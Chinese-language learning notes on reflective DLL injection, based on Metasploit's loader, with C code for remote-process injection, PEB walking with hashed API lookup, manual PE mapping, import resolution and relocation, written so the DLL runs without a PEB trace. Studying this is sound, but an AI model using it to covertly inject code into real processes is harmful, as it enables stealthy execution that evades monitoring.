这是我写完代码后写的总结。重新梳理一下反射注入到底想干什么、以及怎么干。以及从中学到了什么。
首先是学习反射注入的收获,当然也可以作为学习的目标,同时也是反射注入实际做的东西。
我的理解是反射注入实际上就是手工加载模块。通过LoadLibrary加载dll会在peb中留下记录,通过手工实现加载过程,我们的dll能像正常dll那样工作,且不再peb中留下痕迹。
也就是说,通过学习反射注入,可以了解到windows系统加载一个pe文件的流程。其中涉及到了部分的peb以及大量的pe结构。
我们主要需要peb中的ldr结构,这个结构中保存了该进程已经加载了的dll。
既然我们的主要工作是手工加载pe文件,自然要对pe文件格式有一定了解。但笔记中不会多提pe文件结构,实际上只要大概了解pe文件格是是个什么,然后在写代码时多去看pe结构的定义,就可以对pe文件结构有一个更深的理解。
在学习过程中参考了许多资料,最主要的就是msf的反射注入payload的源码。其他如有不懂通过百度也可以找到详细的解释。相关文章比较多,dddd,就不一一列举了。
这篇东西由我阅读源码,查资料时做的笔记发展而来。国内虽然少但也有一些优秀的反射注入的文章,看雪中也有类似文章,但阅读门槛稍微有点高。因为是由笔记发展而来,这更像是一个零基础初学者的学习笔记(实际上在开始学反射注入之前,只知道pe文件格是是什么东西,几乎完全不了解。对windows的机制也完全不了解),希望能帮助到初学者,这项技术对我学习windows有很大帮助,虽然我只是一个初学者,但这项实践使我之后对书本、资料上的内容有了更深的了解。可能会有错误,希望发现错误的dalao可以帮帮我这个初学者纠正。
va、fa、rva这几个概念搞清楚好像就行。实际上就是对pe文件如何从文件映射到内存有一个大体的认识。我们的工作就是具体完成这个过程。可以参考下图。
pe文件的格式网上有比较多的图片,这里就不贴了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | (前置条件序号) 序号 流程内容 = = = = = = = = = = = = 注入器: = = = = = = = = = = = = ( 0 ) 1 打开dll文件(CreateFile),获取dll长度(GetFileSize) ( 1 ) 2 分配内存(HealAlloc),读取文件(ReadFile) ( 0 ) 3 打开目标进程(OpenProcess) ( 2 , 3 ) 4 调用反射注入函数(LoadLibraryR.c>LoadRemoteLibraryR) ( 2 ) 5 获取反射加载函数的文件偏移(LoadLibraryR.c>GetReflectiveLoaderOffset) ( 2 , 3 ) 6 在目标进程中分配空间(VirtualAllocEx),写入dll(WriteProcessMemory) ( 6 ) 7 修改目标进程中的空间为可执行(VirtualProtectEx) ( 5 , 7 ) 8 创建远程线程,执行反射加载函数(CreateRemoteThread) = = = = = = = = = = = = = = = = = = = = = = = 反射加载函数(运行在被注入进程的新建线程中): = = = = = = = = = = = = = = = = = = = = = = = 1 获取基地址 2 获取需要的kernel32.dll及ntdll.dll的函数的va 3 分配空间作为映像空间,并复制pe头到新的位置 4 复制所有段到映像的对应位置 5 处理导入表,填写iat 6 重定位 7 跳转到ep(_DllMainCRTStartup) 8 返回entry point地址 |
首先打开dll文件,获取长度,并在堆中分配空间读取文件。
1 2 3 | hFile = CreateFileW(dllPathname, GENERIC_READ, 0 , 0 , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); dwDllLen = GetFileSize(hFile, 0 ); lpDll = HeapAlloc(GetProcessHeap(), 0 , dwDllLen); |
然后找到dll中ReflectiveLoader的入口点。
最后以RW申请空间,写入dll后改成RX,然后以ReflectiveLoader作为线程函数创建远程线程。
LoadLibraryR中有个函数Rva2Offset用于获取rva对应的fa。
原理是遍历区块获取区块的section_rva和section_fa,然后比较rva和section_rva找到rva所在的section,最后计算出fa。再用fa+baseAddr得到内存中的位置。
1 2 3 4 5 6 7 8 9 10 | DWORD Rva2Fa(DWORD rva, PIMAGE_SECTION_HEADER sections, int sectionNum) { for ( int i = 0 ; i < sectionNum; i + + ) { int sectionVa = sections[i].VirtualAddress; if ((rva > = sectionVa) && ((sectionVa + sections[i].SizeOfRawData) > rva)) return rva - (sectionVa - sections[i].PointerToRawData); } return 0 ; } |
通过nt头,计算出sections的fa,以及通过nt头的optionalheader获取输出表的rva。
然后遍历section找到输出表的fa,接着遍历输出表的函数名字rva表,计算出rva对应fa得到导出函数名字,与需要的导出函数做对比,确定要找的函数在函数名表中的下标。用此下标在序号表中找到序号,最后再用序号去地址表找到地址。
首先获取代码的位置,然后再往前找dos头。
_ReturnAddress()返回当前调用函数的返回地址。所以在loader中调用一个函数,该函数再调用_ReturnAddress(),返回调用函数的返回地址,即loader中调用函数的下一条语句的地址。
其中 __declspec(noinline) 用于防止编译器优化该函数成内联函数,否则返回的就是loader的返回地址。
使用_ReturnAddress需要intrin.h,并使用#pragma intrinsic防止内联优化。
1 2 3 4 5 6 | #include<intrin.h> #pragma intrinsic(_ReturnAddress) __declspec(noinline) PVOID NextAddr() { return (PVOID)_ReturnAddress(); } |
根据pe格式可知,dos头(IMAGE_DOS_HEADER)中有有一个e_magic标志,值是0x5A4D(MZ)。
所以向前遍历内存,直到找到MZ标志,再检查pe头的PE标志,这样就找到dos头了。
需要注意的是,检查PE标志时要检查pe头偏移是否正确,防止错误的内存访问。
1 2 3 4 5 6 7 8 9 10 11 | while (TRUE) { if (dosHeadAddr - >e_magic = = 0x5A4D ) { LONG e_lfanew = dosHeadAddr - >e_lfanew; if (e_lfanew > = sizeof(IMAGE_DOS_HEADER) && e_lfanew < 1024 ) { ntHeadAddr = (PIMAGE_NT_HEADERS)((PVOID)dosHeadAddr + (PVOID)e_lfanew); if (ntHeadAddr - >Signature = = 0x4550 ) break ; } } dosHeadAddr - - ; } |
这里也可以取巧,远程线程是可以传递一个参数的,对于我们这个简单的dll,imagebase实际上就是分配空间的首地址,可以作为参数传入。
目标
接下来的步骤中需要用到一些ntdll.dll,kernel32.dll中的导出函数,所以需要先找到这些函数的va。这些系统模块都是已经加载了的,可以在peb中找到其加载的位置。
这里利用hash避免直接比较字符串。
我们需要LoadLibraryA、GetProcAddress加载导入表中的dll的对应的函数。
需要VirtualAlloc分配内存给我们把pe文件加载到其中。
需要NtFlushInstructionCache刷新指令缓存。
LDR_DATA_TABLE_ENTRY
InMemoryOrderModuleList对应的链表是一个环形双向链表,且有一个头节点(或者说哨兵节点)。InMemoryOrderModuleList的Flink指向链表的第一个节点,Blink指向链表最后一个节点。头节点的Flink是第一个节点,可以以此为跳出条件遍历该链表。
这里借用一张网图。
思路
首先从peb中找到ldr,然后遍历InMemoryOrderModuleList,通过hash(BaseName)找到kernel32.dll和ntdll.dll对应的LDR_DATA_TABLE_ENTRY结构。
找到dll对应的LDR_DATA_TABLE_ENTRY后,获取其imagebase,然后解析pe头,计算出导出表位置。同样利用hash比较字符串找到所需的导出函数,并计算出va。
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | / / 找pLdrDataTableEnrty DWORD pPeb = __readfsdword( 0x30 ); DWORD pLdr = * (DWORD * )(pPeb + 0xc ); DWORD pInMemoryOrderModuleList = pLdr + 0x14 ; / / 第一个节点的二级指针 DWORD pLdrDataTableEnrty = * (DWORD * )(pInMemoryOrderModuleList + 0 ); / / 遍历LdrDataTableEnrty do{ WCHAR * name = (WCHAR * ) * (DWORD * )(pLdrDataTableEnrty + 0x24 + 0x4 ); hash = YourHashFun(name); / / 使用你自己的函数计算 hash 值 if ( hash = = DLLHASH) { / / DLLHASH由你自己的函数计算得出 DWORD baseAddr = * (DWORD * )(pLdrDataTableEnrty + 0x10 ); / / 解析pe头过程省略 for ( int i = 0 ; i < funcNum; i + + ) { / / funcNum是导出函数的个数 char * name = (char * )(baseAddr + ((DWORD * )nameRvas)[i]); DWORD hash = YourHashFun(name); if ( hash = = FUNCHASH) { pFunc = (FUNC)(baseAddr + ((DWORD * )funcRvas)[((WORD * )ordRvas)[i]]); } } } } while ( * (DWORD * )(pLdrDataTableEnrty) ! = * (DWORD * )(pInMemoryOrderModuleList)) |
新分配大小等于sizeOfImga的内存作为映像加载的空间,然后把pe头复制到新内存里,这里我只更新了新nt头的imagebase地址。太简单就不贴代码了。
遍历section_header获取fa和rva,计算出section在旧内存中的va和新内存中的va。然后复制section到新内存中的对应位置。
1 2 | oldVA = oldImageBase + sections[i].PointerToRawData; newVA = newImageBase + sections[i].VirtualAddress; |
目标
找到导入表,然后遍历导入表,依次加载对应的dll,及需要的dll的导出函数,并填写对应iat。
导入表结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | / / winnt.h typedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; / / PBYTE DWORD Function; / / PDWORD DWORD Ordinal; DWORD AddressOfData; / / PIMAGE_IMPORT_BY_NAME (补充一下,这是个rva) } u1; } IMAGE_THUNK_DATA32; typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32; typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; CHAR Name[ 1 ]; } IMAGE_IMPORT_BY_NAME, * PIMAGE_IMPORT_BY_NAME; |
和导出表不同,导入表是一个结构体数组。它不提供结构体数量,最后一个结构体仅作为结束标志,不包含导入信息,其成员Characteristics为0,这可以作为遍历的退出条件。
对于每个导入表,在文件中时OriginalFirstThunk和FirstThunk都是RVA,指向同一个IMAGE_THUNK_DATA结构体数组。
当加载到内存时,FirstThunk改为函数的VA,即iat。
文件中时,OriginalFirstThunk和FirstThunk指向的结构体数组中,每一个IMAGE_THUNK_DATA的成员u1都被解释为Ordinal,若该函数应该通过序号导入,则Ordinal的最高位会被置为1。
思路
见实现代码注释。
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)pNewDosHeader + pNewNtHeaders - >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); for (; pImportDescriptor - >Characteristics; pImportDes + + ) { / / 加载dll HMODULE libraryAddress = pLoadLibraryA((LPCSTR)((DWORD)pNewDosHeader + pImportDes - >Name)); if (!libraryAddress) continue ; / / parsing pe structure PIMAGE_THUNK_DATA32 pOriginalThunk = (PIMAGE_THUNK_DATA32)((DWORD)pNewDosHeader + pImportDes - >OriginalFirstThunk); PIMAGE_THUNK_DATA32 pThunk = (PIMAGE_THUNK_DATA32)((DWORD)pNewDosHeader + pImportDes - >FirstThunk); PIMAGE_NT_HEADERS32 pLibNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)libraryAddress + ((PIMAGE_DOS_HEADER)libraryAddress) - >e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD)libraryAddress + pLibNtHeader - >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PDWORD funcRvas = (PDWORD)((DWORD)libraryAddress + pExportDir - >AddressOfFunctions); while ( * (DWORD * )pThunk) { if (pOriginalThunk && pOriginalThunk - >u1.Ordinal & IMAGE_ORDINAL_FLAG) { / / import by ord WORD ord = pOriginalThunk - >u1.Ordinal - pExportDir - >Base; * (DWORD * )pThunk = ((DWORD)libraryAddress + funcRvas[ ord ]); } else { / / import by name (this is a rva) * (DWORD * )pThunk = (DWORD)pGetProcAddress(libraryAddress, ((PIMAGE_IMPORT_BY_NAME)((DWORD)pNewDosHeader + pThunk - >u1.AddressOfData)) - >Name); } pThunk + + ; if (pOriginalThunk) pOriginalThunk + + ; } } |
目标
完成重定位过程。
重定位表结构
重定位表是一个结构体数组,DataDirectory中的重定位表项保存着第一个重定位表的rva,遍历每一个重定位表,并遍历重定位表中的表项,根据其重定位类型,执行重定位操作。
1 2 3 4 5 6 7 8 9 | typedef struct { WORD offset : 12 ; WORD type : 4 ; } RELOC; typedef struct { DWORD VA; DWORD size; / / RELOC reloc[]; } IMAGE_BASE_RELOCATION; |
其中每一个重定位表保存着一个rva,重定位实际上就是遍历IMAGE_BASE_RELOCATION的成员reloc,然后执行*(rva+baseAddr+reloc[i].offset) += baseAddr - ImageBase
。
思路
两层循环,遍历重定位表,再遍历每个表的 RELOC reloc[]。然后根据重定位类型进行重定位。
实现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | / / 解析pe,并计算offset PIMAGE_DATA_DIRECTORY pDDBaseReloc = &pNtHeaders - >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; PIMAGE_BASE_RELOCATION pBaseRelocation; ULONG_PTR offset = (ULONG_PTR)pNewDosHeader - (ULONG_PTR)pNtHeaders - >OptionalHeader.ImageBase; if (pDDBaseReloc - >Size) { DWORD size = pDDBaseReloc - >Size; pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pNewDosHeader + pDDBaseReloc - >VirtualAddress); / / 遍历重定位表结构体 while (size && pBaseRelocation - >SizeOfBlock) { DWORD va = (DWORD)pNewDosHeader + pBaseRelocation - >VirtualAddress; DWORD num = (pBaseRelocation - >SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); / / 计算reloc[]大小 PIMAGE_RELOC reloc = (PIMAGE_RELOC)((DWORD)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION)); / / 遍历reloc[],根据重定位类型重定位 while (num - - ) { DWORD type = reloc - > type ; if ( type = = IMAGE_REL_BASED_HIGH) { * (WORD * )(va + reloc - >offset) + = HIWORD(offset); } else if ( type = = IMAGE_REL_BASED_LOW) { * (WORD * )(va + reloc - >offset) + = LOWORD(offset); } else if ( type = = IMAGE_REL_BASED_HIGHLOW) { * (DWORD * )(va + reloc - >offset) + = (DWORD)offset; } reloc + + ; } size - = pBaseRelocation - >SizeOfBlock; pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pBaseRelocation + pBaseRelocation - >SizeOfBlock); } } |
跳转到dll的ep。实际上就是执行dll原本的_DllMainCRTStartup函数。该函数会完成一些初始化工作并转到dllMain,让我们的dllMain像正常dllmain那样运行,但又不在peb中留下dll加载的痕迹。
1 2 3 4 5 6 7 | typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); PVOID entryPoint = (PVOID)((DWORD)pNewDosHeader + pNewNtHeaders - >OptionalHeader.AddressOfEntryPoint); pNtFlushInstructionCache((HANDLE) - 1 , NULL, 0 ); ((DLLMAIN)entryPoint)((HMODULE)pNewDosHeader, DLL_PROCESS_ATTACH, lpParameter); |
最后返回entrypoint。
https://github.com/rapid7/ReflectiveDLLInjection